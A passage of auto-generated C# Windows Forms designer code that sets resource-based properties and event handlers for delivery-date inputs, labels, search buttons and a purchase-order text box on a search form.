resources.GetString("dtmToDeliveryDate.PreValidation.PatternString"); this.dtmToDeliveryDate.PreValidation.RegexOptions = ((C1.Win.C1Input.RegexOptionFlags)(resources.GetObject("dtmToDeliveryDate.PreValidation.RegexOptions"))); this.dtmToDeliveryDate.PreValidation.TrimEnd = ((bool)(resources.GetObject("dtmToDeliveryDate.PreValidation.TrimEnd"))); this.dtmToDeliveryDate.PreValidation.TrimStart = ((bool)(resources.GetObject("dtmToDeliveryDate.PreValidation.TrimStart"))); this.dtmToDeliveryDate.PreValidation.Validation = ((C1.Win.C1Input.PreValidationTypeEnum)(resources.GetObject("dtmToDeliveryDate.PreValidation.Validation"))); this.dtmToDeliveryDate.RightToLeft = ((System.Windows.Forms.RightToLeft)(resources.GetObject("dtmToDeliveryDate.RightToLeft"))); this.dtmToDeliveryDate.ShowFocusRectangle = ((bool)(resources.GetObject("dtmToDeliveryDate.ShowFocusRectangle"))); this.dtmToDeliveryDate.Size = ((System.Drawing.Size)(resources.GetObject("dtmToDeliveryDate.Size"))); this.dtmToDeliveryDate.TabIndex = ((int)(resources.GetObject("dtmToDeliveryDate.TabIndex"))); this.dtmToDeliveryDate.Tag = ((object)(resources.GetObject("dtmToDeliveryDate.Tag"))); this.dtmToDeliveryDate.TextAlign = ((System.Windows.Forms.HorizontalAlignment)(resources.GetObject("dtmToDeliveryDate.TextAlign"))); this.dtmToDeliveryDate.TrimEnd = ((bool)(resources.GetObject("dtmToDeliveryDate.TrimEnd"))); this.dtmToDeliveryDate.TrimStart = ((bool)(resources.GetObject("dtmToDeliveryDate.TrimStart"))); this.dtmToDeliveryDate.UserCultureOverride = ((bool)(resources.GetObject("dtmToDeliveryDate.UserCultureOverride"))); this.dtmToDeliveryDate.Value = ((object)(resources.GetObject("dtmToDeliveryDate.Value"))); this.dtmToDeliveryDate.VerticalAlign = ((C1.Win.C1Input.VerticalAlignEnum)(resources.GetObject("dtmToDeliveryDate.VerticalAlign"))); this.dtmToDeliveryDate.Visible = ((bool)(resources.GetObject("dtmToDeliveryDate.Visible"))); this.dtmToDeliveryDate.VisibleButtons = ((C1.Win.C1Input.DropDownControlButtonFlags)(resources.GetObject("dtmToDeliveryDate.VisibleButtons"))); this.dtmToDeliveryDate.Validating += new System.ComponentModel.CancelEventHandler(this.dtmToPostDate_Validating); // // dtmFromDeliveryDate // this.dtmFromDeliveryDate.AcceptsEscape = ((bool)(resources.GetObject("dtmFromDeliveryDate.AcceptsEscape"))); this.dtmFromDeliveryDate.AccessibleDescription = resources.GetString("dtmFromDeliveryDate.AccessibleDescription"); this.dtmFromDeliveryDate.AccessibleName = resources.GetString("dtmFromDeliveryDate.AccessibleName"); this.dtmFromDeliveryDate.Anchor = ((System.Windows.Forms.AnchorStyles)(resources.GetObject("dtmFromDeliveryDate.Anchor"))); this.dtmFromDeliveryDate.AutoSize = ((bool)(resources.GetObject("dtmFromDeliveryDate.AutoSize"))); this.dtmFromDeliveryDate.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("dtmFromDeliveryDate.BackgroundImage"))); this.dtmFromDeliveryDate.BorderStyle = ((System.Windows.Forms.BorderStyle)(resources.GetObject("dtmFromDeliveryDate.BorderStyle"))); // // dtmFromDeliveryDate.Calendar // this.dtmFromDeliveryDate.Calendar.AccessibleDescription = resources.GetString("dtmFromDeliveryDate.Calendar.AccessibleDescription"); this.dtmFromDeliveryDate.Calendar.AccessibleName = resources.GetString("dtmFromDeliveryDate.Calendar.AccessibleName"); this.dtmFromDeliveryDate.Calendar.AnnuallyBoldedDates = ((System.DateTime[])(resources.GetObject("dtmFromDeliveryDate.Calendar.AnnuallyBoldedDates"))); this.dtmFromDeliveryDate.Calendar.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("dtmFromDeliveryDate.Calendar.BackgroundImage"))); this.dtmFromDeliveryDate.Calendar.BoldedDates = ((System.DateTime[])(resources.GetObject("dtmFromDeliveryDate.Calendar.BoldedDates"))); this.dtmFromDeliveryDate.Calendar.CalendarDimensions = ((System.Drawing.Size)(resources.GetObject("dtmFromDeliveryDate.Calendar.CalendarDimensions"))); this.dtmFromDeliveryDate.Calendar.Enabled = ((bool)(resources.GetObject("dtmFromDeliveryDate.Calendar.Enabled"))); this.dtmFromDeliveryDate.Calendar.FirstDayOfWeek = ((System.Windows.Forms.Day)(resources.GetObject("dtmFromDeliveryDate.Calendar.FirstDayOfWeek"))); this.dtmFromDeliveryDate.Calendar.Font = ((System.Drawing.Font)(resources.GetObject("dtmFromDeliveryDate.Calendar.Font"))); this.dtmFromDeliveryDate.Calendar.ImeMode = ((System.Windows.Forms.ImeMode)(resources.GetObject("dtmFromDeliveryDate.Calendar.ImeMode"))); this.dtmFromDeliveryDate.Calendar.MonthlyBoldedDates = ((System.DateTime[])(resources.GetObject("dtmFromDeliveryDate.Calendar.MonthlyBoldedDates"))); this.dtmFromDeliveryDate.Calendar.RightToLeft = ((System.Windows.Forms.RightToLeft)(resources.GetObject("dtmFromDeliveryDate.Calendar.RightToLeft"))); this.dtmFromDeliveryDate.Calendar.ShowClearButton = ((bool)(resources.GetObject("dtmFromDeliveryDate.Calendar.ShowClearButton"))); this.dtmFromDeliveryDate.Calendar.ShowTodayButton = ((bool)(resources.GetObject("dtmFromDeliveryDate.Calendar.ShowTodayButton"))); this.dtmFromDeliveryDate.Calendar.ShowWeekNumbers = ((bool)(resources.GetObject("dtmFromDeliveryDate.Calendar.ShowWeekNumbers"))); this.dtmFromDeliveryDate.CaseSensitive = ((bool)(resources.GetObject("dtmFromDeliveryDate.CaseSensitive"))); this.dtmFromDeliveryDate.Culture = ((int)(resources.GetObject("dtmFromDeliveryDate.Culture"))); this.dtmFromDeliveryDate.CurrentTimeZone = ((bool)(resources.GetObject("dtmFromDeliveryDate.CurrentTimeZone"))); this.dtmFromDeliveryDate.CustomFormat = resources.GetString("dtmFromDeliveryDate.CustomFormat"); this.dtmFromDeliveryDate.DaylightTimeAdjustment = ((C1.Win.C1Input.DaylightTimeAdjustmentEnum)(resources.GetObject("dtmFromDeliveryDate.DaylightTimeAdjustment"))); this.dtmFromDeliveryDate.DisplayFormat.CustomFormat = resources.GetString("dtmFromDeliveryDate.DisplayFormat.CustomFormat"); this.dtmFromDeliveryDate.DisplayFormat.FormatType = ((C1.Win.C1Input.FormatTypeEnum)(resources.GetObject("dtmFromDeliveryDate.DisplayFormat.FormatType"))); this.dtmFromDeliveryDate.DisplayFormat.Inherit = ((C1.Win.C1Input.FormatInfoInheritFlags)(resources.GetObject("dtmFromDeliveryDate.DisplayFormat.Inherit"))); this.dtmFromDeliveryDate.DisplayFormat.NullText = resources.GetString("dtmFromDeliveryDate.DisplayFormat.NullText"); this.dtmFromDeliveryDate.DisplayFormat.TrimEnd = ((bool)(resources.GetObject("dtmFromDeliveryDate.DisplayFormat.TrimEnd"))); this.dtmFromDeliveryDate.DisplayFormat.TrimStart = ((bool)(resources.GetObject("dtmFromDeliveryDate.DisplayFormat.TrimStart"))); this.dtmFromDeliveryDate.Dock = ((System.Windows.Forms.DockStyle)(resources.GetObject("dtmFromDeliveryDate.Dock"))); this.dtmFromDeliveryDate.DropDownFormAlign = ((C1.Win.C1Input.DropDownFormAlignmentEnum)(resources.GetObject("dtmFromDeliveryDate.DropDownFormAlign"))); this.dtmFromDeliveryDate.EditFormat.CustomFormat = resources.GetString("dtmFromDeliveryDate.EditFormat.CustomFormat"); this.dtmFromDeliveryDate.EditFormat.FormatType = ((C1.Win.C1Input.FormatTypeEnum)(resources.GetObject("dtmFromDeliveryDate.EditFormat.FormatType"))); this.dtmFromDeliveryDate.EditFormat.Inherit = ((C1.Win.C1Input.FormatInfoInheritFlags)(resources.GetObject("dtmFromDeliveryDate.EditFormat.Inherit"))); this.dtmFromDeliveryDate.EditFormat.NullText = resources.GetString("dtmFromDeliveryDate.EditFormat.NullText"); this.dtmFromDeliveryDate.EditFormat.TrimEnd = ((bool)(resources.GetObject("dtmFromDeliveryDate.EditFormat.TrimEnd"))); this.dtmFromDeliveryDate.EditFormat.TrimStart = ((bool)(resources.GetObject("dtmFromDeliveryDate.EditFormat.TrimStart"))); this.dtmFromDeliveryDate.EditMask = resources.GetString("dtmFromDeliveryDate.EditMask"); this.dtmFromDeliveryDate.EmptyAsNull = ((bool)(resources.GetObject("dtmFromDeliveryDate.EmptyAsNull"))); this.dtmFromDeliveryDate.Enabled = ((bool)(resources.GetObject("dtmFromDeliveryDate.Enabled"))); this.dtmFromDeliveryDate.ErrorInfo.BeepOnError = ((bool)(resources.GetObject("dtmFromDeliveryDate.ErrorInfo.BeepOnError"))); this.dtmFromDeliveryDate.ErrorInfo.ErrorMessage = resources.GetString("dtmFromDeliveryDate.ErrorInfo.ErrorMessage"); this.dtmFromDeliveryDate.ErrorInfo.ErrorMessageCaption = resources.GetString("dtmFromDeliveryDate.ErrorInfo.ErrorMessageCaption"); this.dtmFromDeliveryDate.ErrorInfo.ShowErrorMessage = ((bool)(resources.GetObject("dtmFromDeliveryDate.ErrorInfo.ShowErrorMessage"))); this.dtmFromDeliveryDate.ErrorInfo.ValueOnError = ((object)(resources.GetObject("dtmFromDeliveryDate.ErrorInfo.ValueOnError"))); this.dtmFromDeliveryDate.Font = ((System.Drawing.Font)(resources.GetObject("dtmFromDeliveryDate.Font"))); this.dtmFromDeliveryDate.FormatType = ((C1.Win.C1Input.FormatTypeEnum)(resources.GetObject("dtmFromDeliveryDate.FormatType"))); this.dtmFromDeliveryDate.GapHeight = ((int)(resources.GetObject("dtmFromDeliveryDate.GapHeight"))); this.dtmFromDeliveryDate.GMTOffset = ((System.TimeSpan)(resources.GetObject("dtmFromDeliveryDate.GMTOffset"))); this.dtmFromDeliveryDate.ImeMode = ((System.Windows.Forms.ImeMode)(resources.GetObject("dtmFromDeliveryDate.ImeMode"))); this.dtmFromDeliveryDate.InitialSelection = ((C1.Win.C1Input.InitialSelectionEnum)(resources.GetObject("dtmFromDeliveryDate.InitialSelection"))); this.dtmFromDeliveryDate.Location = ((System.Drawing.Point)(resources.GetObject("dtmFromDeliveryDate.Location"))); this.dtmFromDeliveryDate.MaskInfo.AutoTabWhenFilled = ((bool)(resources.GetObject("dtmFromDeliveryDate.MaskInfo.AutoTabWhenFilled"))); this.dtmFromDeliveryDate.MaskInfo.CaseSensitive = ((bool)(resources.GetObject("dtmFromDeliveryDate.MaskInfo.CaseSensitive"))); this.dtmFromDeliveryDate.MaskInfo.CopyWithLiterals = ((bool)(resources.GetObject("dtmFromDeliveryDate.MaskInfo.CopyWithLiterals"))); this.dtmFromDeliveryDate.MaskInfo.EditMask = resources.GetString("dtmFromDeliveryDate.MaskInfo.EditMask"); this.dtmFromDeliveryDate.MaskInfo.EmptyAsNull = ((bool)(resources.GetObject("dtmFromDeliveryDate.MaskInfo.EmptyAsNull"))); this.dtmFromDeliveryDate.MaskInfo.ErrorMessage = resources.GetString("dtmFromDeliveryDate.MaskInfo.ErrorMessage"); this.dtmFromDeliveryDate.MaskInfo.Inherit = ((C1.Win.C1Input.MaskInfoInheritFlags)(resources.GetObject("dtmFromDeliveryDate.MaskInfo.Inherit"))); this.dtmFromDeliveryDate.MaskInfo.PromptChar = ((char)(resources.GetObject("dtmFromDeliveryDate.MaskInfo.PromptChar"))); this.dtmFromDeliveryDate.MaskInfo.ShowLiterals = ((C1.Win.C1Input.ShowLiteralsEnum)(resources.GetObject("dtmFromDeliveryDate.MaskInfo.ShowLiterals"))); this.dtmFromDeliveryDate.MaskInfo.StoredEmptyChar = ((char)(resources.GetObject("dtmFromDeliveryDate.MaskInfo.StoredEmptyChar"))); this.dtmFromDeliveryDate.MaxLength = ((int)(resources.GetObject("dtmFromDeliveryDate.MaxLength"))); this.dtmFromDeliveryDate.Name = "dtmFromDeliveryDate"; this.dtmFromDeliveryDate.NullText = resources.GetString("dtmFromDeliveryDate.NullText"); this.dtmFromDeliveryDate.ParseInfo.CaseSensitive = ((bool)(resources.GetObject("dtmFromDeliveryDate.ParseInfo.CaseSensitive"))); this.dtmFromDeliveryDate.ParseInfo.CustomFormat = resources.GetString("dtmFromDeliveryDate.ParseInfo.CustomFormat"); this.dtmFromDeliveryDate.ParseInfo.DateTimeStyle = ((C1.Win.C1Input.DateTimeStyleFlags)(resources.GetObject("dtmFromDeliveryDate.ParseInfo.DateTimeStyle"))); this.dtmFromDeliveryDate.ParseInfo.EmptyAsNull = ((bool)(resources.GetObject("dtmFromDeliveryDate.ParseInfo.EmptyAsNull"))); this.dtmFromDeliveryDate.ParseInfo.ErrorMessage = resources.GetString("dtmFromDeliveryDate.ParseInfo.ErrorMessage"); this.dtmFromDeliveryDate.ParseInfo.FormatType = ((C1.Win.C1Input.FormatTypeEnum)(resources.GetObject("dtmFromDeliveryDate.ParseInfo.FormatType"))); this.dtmFromDeliveryDate.ParseInfo.Inherit = ((C1.Win.C1Input.ParseInfoInheritFlags)(resources.GetObject("dtmFromDeliveryDate.ParseInfo.Inherit"))); this.dtmFromDeliveryDate.ParseInfo.NullText = resources.GetString("dtmFromDeliveryDate.ParseInfo.NullText"); this.dtmFromDeliveryDate.ParseInfo.TrimEnd = ((bool)(resources.GetObject("dtmFromDeliveryDate.ParseInfo.TrimEnd"))); this.dtmFromDeliveryDate.ParseInfo.TrimStart = ((bool)(resources.GetObject("dtmFromDeliveryDate.ParseInfo.TrimStart"))); this.dtmFromDeliveryDate.PasswordChar = ((char)(resources.GetObject("dtmFromDeliveryDate.PasswordChar"))); this.dtmFromDeliveryDate.PostValidation.CaseSensitive = ((bool)(resources.GetObject("dtmFromDeliveryDate.PostValidation.CaseSensitive"))); this.dtmFromDeliveryDate.PostValidation.ErrorMessage = resources.GetString("dtmFromDeliveryDate.PostValidation.ErrorMessage"); this.dtmFromDeliveryDate.PostValidation.Inherit = ((C1.Win.C1Input.PostValidationInheritFlags)(resources.GetObject("dtmFromDeliveryDate.PostValidation.Inherit"))); this.dtmFromDeliveryDate.PostValidation.Validation = ((C1.Win.C1Input.PostValidationTypeEnum)(resources.GetObject("dtmFromDeliveryDate.PostValidation.Validation"))); this.dtmFromDeliveryDate.PostValidation.Values = ((System.Array)(resources.GetObject("dtmFromDeliveryDate.PostValidation.Values"))); this.dtmFromDeliveryDate.PostValidation.ValuesExcluded = ((System.Array)(resources.GetObject("dtmFromDeliveryDate.PostValidation.ValuesExcluded"))); this.dtmFromDeliveryDate.PreValidation.CaseSensitive = ((bool)(resources.GetObject("dtmFromDeliveryDate.PreValidation.CaseSensitive"))); this.dtmFromDeliveryDate.PreValidation.ErrorMessage = resources.GetString("dtmFromDeliveryDate.PreValidation.ErrorMessage"); this.dtmFromDeliveryDate.PreValidation.Inherit = ((C1.Win.C1Input.PreValidationInheritFlags)(resources.GetObject("dtmFromDeliveryDate.PreValidation.Inherit"))); this.dtmFromDeliveryDate.PreValidation.ItemSeparator = resources.GetString("dtmFromDeliveryDate.PreValidation.ItemSeparator"); this.dtmFromDeliveryDate.PreValidation.PatternString = resources.GetString("dtmFromDeliveryDate.PreValidation.PatternString"); this.dtmFromDeliveryDate.PreValidation.RegexOptions = ((C1.Win.C1Input.RegexOptionFlags)(resources.GetObject("dtmFromDeliveryDate.PreValidation.RegexOptions"))); this.dtmFromDeliveryDate.PreValidation.TrimEnd = ((bool)(resources.GetObject("dtmFromDeliveryDate.PreValidation.TrimEnd"))); this.dtmFromDeliveryDate.PreValidation.TrimStart = ((bool)(resources.GetObject("dtmFromDeliveryDate.PreValidation.TrimStart"))); this.dtmFromDeliveryDate.PreValidation.Validation = ((C1.Win.C1Input.PreValidationTypeEnum)(resources.GetObject("dtmFromDeliveryDate.PreValidation.Validation"))); this.dtmFromDeliveryDate.RightToLeft = ((System.Windows.Forms.RightToLeft)(resources.GetObject("dtmFromDeliveryDate.RightToLeft"))); this.dtmFromDeliveryDate.ShowFocusRectangle = ((bool)(resources.GetObject("dtmFromDeliveryDate.ShowFocusRectangle"))); this.dtmFromDeliveryDate.Size = ((System.Drawing.Size)(resources.GetObject("dtmFromDeliveryDate.Size"))); this.dtmFromDeliveryDate.TabIndex = ((int)(resources.GetObject("dtmFromDeliveryDate.TabIndex"))); this.dtmFromDeliveryDate.Tag = ((object)(resources.GetObject("dtmFromDeliveryDate.Tag"))); this.dtmFromDeliveryDate.TextAlign = ((System.Windows.Forms.HorizontalAlignment)(resources.GetObject("dtmFromDeliveryDate.TextAlign"))); this.dtmFromDeliveryDate.TrimEnd = ((bool)(resources.GetObject("dtmFromDeliveryDate.TrimEnd"))); this.dtmFromDeliveryDate.TrimStart = ((bool)(resources.GetObject("dtmFromDeliveryDate.TrimStart"))); this.dtmFromDeliveryDate.UserCultureOverride = ((bool)(resources.GetObject("dtmFromDeliveryDate.UserCultureOverride"))); this.dtmFromDeliveryDate.Value = ((object)(resources.GetObject("dtmFromDeliveryDate.Value"))); this.dtmFromDeliveryDate.VerticalAlign = ((C1.Win.C1Input.VerticalAlignEnum)(resources.GetObject("dtmFromDeliveryDate.VerticalAlign"))); this.dtmFromDeliveryDate.Visible = ((bool)(resources.GetObject("dtmFromDeliveryDate.Visible"))); this.dtmFromDeliveryDate.VisibleButtons = ((C1.Win.C1Input.DropDownControlButtonFlags)(resources.GetObject("dtmFromDeliveryDate.VisibleButtons"))); this.dtmFromDeliveryDate.Validating += new System.ComponentModel.CancelEventHandler(this.dtmFromPostDate_Validating); // // lblToDeliveryDate // this.lblToDeliveryDate.AccessibleDescription = resources.GetString("lblToDeliveryDate.AccessibleDescription"); this.lblToDeliveryDate.AccessibleName = resources.GetString("lblToDeliveryDate.AccessibleName"); this.lblToDeliveryDate.Anchor = ((System.Windows.Forms.AnchorStyles)(resources.GetObject("lblToDeliveryDate.Anchor"))); this.lblToDeliveryDate.AutoSize = ((bool)(resources.GetObject("lblToDeliveryDate.AutoSize"))); this.lblToDeliveryDate.Dock = ((System.Windows.Forms.DockStyle)(resources.GetObject("lblToDeliveryDate.Dock"))); this.lblToDeliveryDate.Enabled = ((bool)(resources.GetObject("lblToDeliveryDate.Enabled"))); this.lblToDeliveryDate.Font = ((System.Drawing.Font)(resources.GetObject("lblToDeliveryDate.Font"))); this.lblToDeliveryDate.Image = ((System.Drawing.Image)(resources.GetObject("lblToDeliveryDate.Image"))); this.lblToDeliveryDate.ImageAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("lblToDeliveryDate.ImageAlign"))); this.lblToDeliveryDate.ImageIndex = ((int)(resources.GetObject("lblToDeliveryDate.ImageIndex"))); this.lblToDeliveryDate.ImeMode = ((System.Windows.Forms.ImeMode)(resources.GetObject("lblToDeliveryDate.ImeMode"))); this.lblToDeliveryDate.Location = ((System.Drawing.Point)(resources.GetObject("lblToDeliveryDate.Location"))); this.lblToDeliveryDate.Name = "lblToDeliveryDate"; this.lblToDeliveryDate.RightToLeft = ((System.Windows.Forms.RightToLeft)(resources.GetObject("lblToDeliveryDate.RightToLeft"))); this.lblToDeliveryDate.Size = ((System.Drawing.Size)(resources.GetObject("lblToDeliveryDate.Size"))); this.lblToDeliveryDate.TabIndex = ((int)(resources.GetObject("lblToDeliveryDate.TabIndex"))); this.lblToDeliveryDate.Text = resources.GetString("lblToDeliveryDate.Text"); this.lblToDeliveryDate.TextAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("lblToDeliveryDate.TextAlign"))); this.lblToDeliveryDate.Visible = ((bool)(resources.GetObject("lblToDeliveryDate.Visible"))); // // btnSearch // this.btnSearch.AccessibleDescription = resources.GetString("btnSearch.AccessibleDescription"); this.btnSearch.AccessibleName = resources.GetString("btnSearch.AccessibleName"); this.btnSearch.Anchor = ((System.Windows.Forms.AnchorStyles)(resources.GetObject("btnSearch.Anchor"))); this.btnSearch.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("btnSearch.BackgroundImage"))); this.btnSearch.Dock = ((System.Windows.Forms.DockStyle)(resources.GetObject("btnSearch.Dock"))); this.btnSearch.Enabled = ((bool)(resources.GetObject("btnSearch.Enabled"))); this.btnSearch.FlatStyle = ((System.Windows.Forms.FlatStyle)(resources.GetObject("btnSearch.FlatStyle"))); this.btnSearch.Font = ((System.Drawing.Font)(resources.GetObject("btnSearch.Font"))); this.btnSearch.Image = ((System.Drawing.Image)(resources.GetObject("btnSearch.Image"))); this.btnSearch.ImageAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("btnSearch.ImageAlign"))); this.btnSearch.ImageIndex = ((int)(resources.GetObject("btnSearch.ImageIndex"))); this.btnSearch.ImeMode = ((System.Windows.Forms.ImeMode)(resources.GetObject("btnSearch.ImeMode"))); this.btnSearch.Location = ((System.Drawing.Point)(resources.GetObject("btnSearch.Location"))); this.btnSearch.Name = "btnSearch"; this.btnSearch.RightToLeft = ((System.Windows.Forms.RightToLeft)(resources.GetObject("btnSearch.RightToLeft"))); this.btnSearch.Size = ((System.Drawing.Size)(resources.GetObject("btnSearch.Size"))); this.btnSearch.TabIndex = ((int)(resources.GetObject("btnSearch.TabIndex"))); this.btnSearch.Text = resources.GetString("btnSearch.Text"); this.btnSearch.TextAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("btnSearch.TextAlign"))); this.btnSearch.Visible = ((bool)(resources.GetObject("btnSearch.Visible"))); this.btnSearch.Click += new System.EventHandler(this.btnSearch_Click); // // btnSearchBeginPO // this.btnSearchBeginPO.AccessibleDescription = resources.GetString("btnSearchBeginPO.AccessibleDescription"); this.btnSearchBeginPO.AccessibleName = resources.GetString("btnSearchBeginPO.AccessibleName"); this.btnSearchBeginPO.Anchor = ((System.Windows.Forms.AnchorStyles)(resources.GetObject("btnSearchBeginPO.Anchor"))); this.btnSearchBeginPO.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("btnSearchBeginPO.BackgroundImage"))); this.btnSearchBeginPO.Dock = ((System.Windows.Forms.DockStyle)(resources.GetObject("btnSearchBeginPO.Dock"))); this.btnSearchBeginPO.Enabled = ((bool)(resources.GetObject("btnSearchBeginPO.Enabled"))); this.btnSearchBeginPO.FlatStyle = ((System.Windows.Forms.FlatStyle)(resources.GetObject("btnSearchBeginPO.FlatStyle"))); this.btnSearchBeginPO.Font = ((System.Drawing.Font)(resources.GetObject("btnSearchBeginPO.Font"))); this.btnSearchBeginPO.Image = ((System.Drawing.Image)(resources.GetObject("btnSearchBeginPO.Image"))); this.btnSearchBeginPO.ImageAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("btnSearchBeginPO.ImageAlign"))); this.btnSearchBeginPO.ImageIndex = ((int)(resources.GetObject("btnSearchBeginPO.ImageIndex"))); this.btnSearchBeginPO.ImeMode = ((System.Windows.Forms.ImeMode)(resources.GetObject("btnSearchBeginPO.ImeMode"))); this.btnSearchBeginPO.Location = ((System.Drawing.Point)(resources.GetObject("btnSearchBeginPO.Location"))); this.btnSearchBeginPO.Name = "btnSearchBeginPO"; this.btnSearchBeginPO.RightToLeft = ((System.Windows.Forms.RightToLeft)(resources.GetObject("btnSearchBeginPO.RightToLeft"))); this.btnSearchBeginPO.Size = ((System.Drawing.Size)(resources.GetObject("btnSearchBeginPO.Size"))); this.btnSearchBeginPO.TabIndex = ((int)(resources.GetObject("btnSearchBeginPO.TabIndex"))); this.btnSearchBeginPO.Text = resources.GetString("btnSearchBeginPO.Text"); this.btnSearchBeginPO.TextAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("btnSearchBeginPO.TextAlign"))); this.btnSearchBeginPO.Visible = ((bool)(resources.GetObject("btnSearchBeginPO.Visible"))); this.btnSearchBeginPO.Click += new System.EventHandler(this.btnSearchBeginPO_Click); // // txtBeginPO // this.txtBeginPO.AccessibleDescription = resources.GetString("txtBeginPO.AccessibleDescription"); this.txtBeginPO.AccessibleName = resources.GetString("txtBeginPO.AccessibleName"); this.txtBeginPO.Anchor = ((System.Windows.Forms.AnchorStyles)(resources.GetObject("txtBeginPO.Anchor"))); this.txtBeginPO.AutoSize = ((bool)(resources.GetObject("txtBeginPO.AutoSize"))); this.txtBeginPO.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("txtBeginPO.BackgroundImage"))); this.txtBeginPO.Dock = ((System.Windows.Forms.DockStyle)(resources.GetObject("txtBeginPO.Dock"))); this.txtBeginPO.Enabled = ((bool)(resources.GetObject("txtBeginPO.Enabled"))); this.txtBeginPO.Font = ((System.Drawing.Font)(resources.GetObject("txtBeginPO.Font"))); this.txtBeginPO.ImeMode = ((System.Windows.Forms.ImeMode)(resources.GetObject("txtBeginPO.ImeMode"))); this.txtBeginPO.Location = ((System.Drawing.Point)(resources.GetObject("txtBeginPO.Location"))); this.txtBeginPO.MaxLength = ((int)(resources.GetObject("txtBeginPO.MaxLength"))); this.txtBeginPO.Multiline = ((bool)(resources.GetObject("txtBeginPO.Multiline"))); this.txtBeginPO.Name = "txtBeginPO"; this.txtBeginPO.PasswordChar = ((char)(resources.GetObject("txtBeginPO.PasswordChar"))); this.txtBeginPO.RightToLeft = ((System.Windows.Forms.RightToLeft)(resources.GetObject("txtBeginPO.RightToLeft"))); this.txtBeginPO.ScrollBars = ((System.Windows.Forms.ScrollBars)(resources.GetObject("txtBeginPO.ScrollBars"))); this.txtBeginPO.Size = ((System.Drawing.Size)(resources.GetObject("txtBeginPO.Size"))); this.txtBeginPO.TabIndex = ((int)(resources.GetObject("txtBeginPO.TabIndex"))); this.txtBeginPO.Text = resources.GetString("txtBeginPO.Text"); this.txtBeginPO.TextAlign = ((System.Windows.Forms.HorizontalAlignment)(resources.GetObject("txtBeginPO.TextAlign"))); this.txtBeginPO.Visible = ((bool)(resources.GetObject("txtBeginPO.Visible"))); this.txtBeginPO.WordWrap = ((bool)(resources.GetObject("txtBeginPO.WordWrap"))); this.txtBeginPO.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtBeginPO_KeyDown); this.txtBeginPO.Leave += new System.EventHandler(this.txtBeginPO_Leave); this.txtBeginPO.Enter += new System.EventHandler(this.OnEnterControl); // // lblFromDeliveryDate // this.lblFromDeliveryDate.AccessibleDescription = resources.GetString("lblFromDeliveryDate.AccessibleDescription"); this.lblFromDeliveryDate.AccessibleName = resources.GetString("lblFromDeliveryDate.AccessibleName"); this.lblFromDeliveryDate.Anchor = ((System.Windows.Forms.AnchorStyles)(resources.GetObject("lblFromDeliveryDate.Anchor"))); this.lblFromDeliveryDate.AutoSize = ((bool)(resources.GetObject("lblFromDeliveryDate.AutoSize"))); this.lblFromDeliveryDate.Dock = ((System.Windows.Forms.DockStyle)(resources.GetObject("lblFromDeliveryDate.Dock"))); this.lblFromDeliveryDate.Enabled = ((bool)(resources.GetObject("lblFromDeliveryDate.Enabled"))); this.lblFromDeliveryDate.Font = ((System.Drawing.Font)(resources.GetObject("lblFromDeliveryDate.Font"))); this.lblFromDeliveryDate.ForeColor = System.Drawing.SystemColors.ControlText; this.lblFromDeliveryDate.Image = ((System.Drawing.Image)(resources.GetObject("lblFromDeliveryDate.Image"))); this.lblFromDeliveryDate.ImageAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("lblFromDeliveryDate.ImageAlign"))); this.lblFromDeliveryDate.ImageIndex = ((int)(resources.GetObject("lblFromDeliveryDate.ImageIndex"))); this.lblFromDeliveryDate.ImeMode = ((System.Windows.Forms.ImeMode)(resources.GetObject("lblFromDeliveryDate.ImeMode"))); this.lblFromDeliveryDate.Location = ((System.Drawing.Point)(resources.GetObject("lblFromDeliveryDate.Location"))); this.lblFromDeliveryDate.Name = "lblFromDeliveryDate"; this.lblFromDeliveryDate.RightToLeft = ((System.Windows.Forms.RightToLeft)(resources.GetObject("lblFromDeliveryDate.RightToLeft"))); this.lblFromDeliveryDate.Size = ((System.Drawing.Size)(resources.GetObject("lblFromDeliveryDate.Size"))); this.lblFromDeliveryDate.TabIndex = ((int)(resources.GetObject("lblFromDeliveryDate.TabIndex"))); this.lblFromDeliveryDate.Text = resources.GetString("lblFromDeliveryDate.Text"); this.lblFromDeliveryDate.TextAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("lblFromDeliveryDate.TextAlign"))); this.lblFromDeliveryDate.Visible = ((bool)(resources.GetObject("lblFromDeliveryDate.Visible"))); // // lblPO // this.lblPO.AccessibleDescription = resources.GetString("lblPO.AccessibleDescription"); this.lblPO.AccessibleName = resources.GetString("lblPO.AccessibleName"); this.lblPO.Anchor = ((System.Windows.Forms.AnchorStyles)(resources.GetObject("lblPO.Anchor"))); this.lblPO.AutoSize = ((bool)(resources.GetObject("lblPO.AutoSize"))); this.lblPO.Dock = ((System.Windows.Forms.DockStyle)(resources.GetObject("lblPO.Dock"))); this.lblPO.Enabled = ((bool)(resources.GetObject("lblPO.Enabled"))); this.lblPO.Font = ((System.Drawing.Font)(resources.GetObject("lblPO.Font"))); this.lblPO.Image = ((System.Drawing.Image)(resources.GetObject("lblPO.Image"))); this.lblPO.ImageAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("lblPO.ImageAlign"))); this.lblPO.ImageIndex = ((int)(resources.GetObject("lblPO.ImageIndex"))); this.lblPO.ImeMode = ((System.Windows.Forms.ImeMode)(resources.GetObject("lblPO.ImeMode"))); this.lblPO.Location = ((System.Drawing.Point)(resources.GetObject("lblPO.Location"))); this.lblPO.Name = "lblPO"; this.lblPO.RightToLeft = ((System.Windows.Forms.RightToLeft)(resources.GetObject("lblPO.RightToLeft"))); this.lblPO.Size = ((System.Drawing.Size)(resources.GetObject("lblPO.Size"))); this.lblPO.TabIndex = ((int)(resources.GetObject("lblPO.TabIndex"))); this.lblPO.Text = resources.GetString("lblPO.Text"); this.lblPO.TextAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("lblPO.TextAlign"))); this.lblPO.Visible = ((bool)(resources.GetObject("lblPO.Visible"))); // // dgrdData // this.dgrdData.AccessibleDescription = 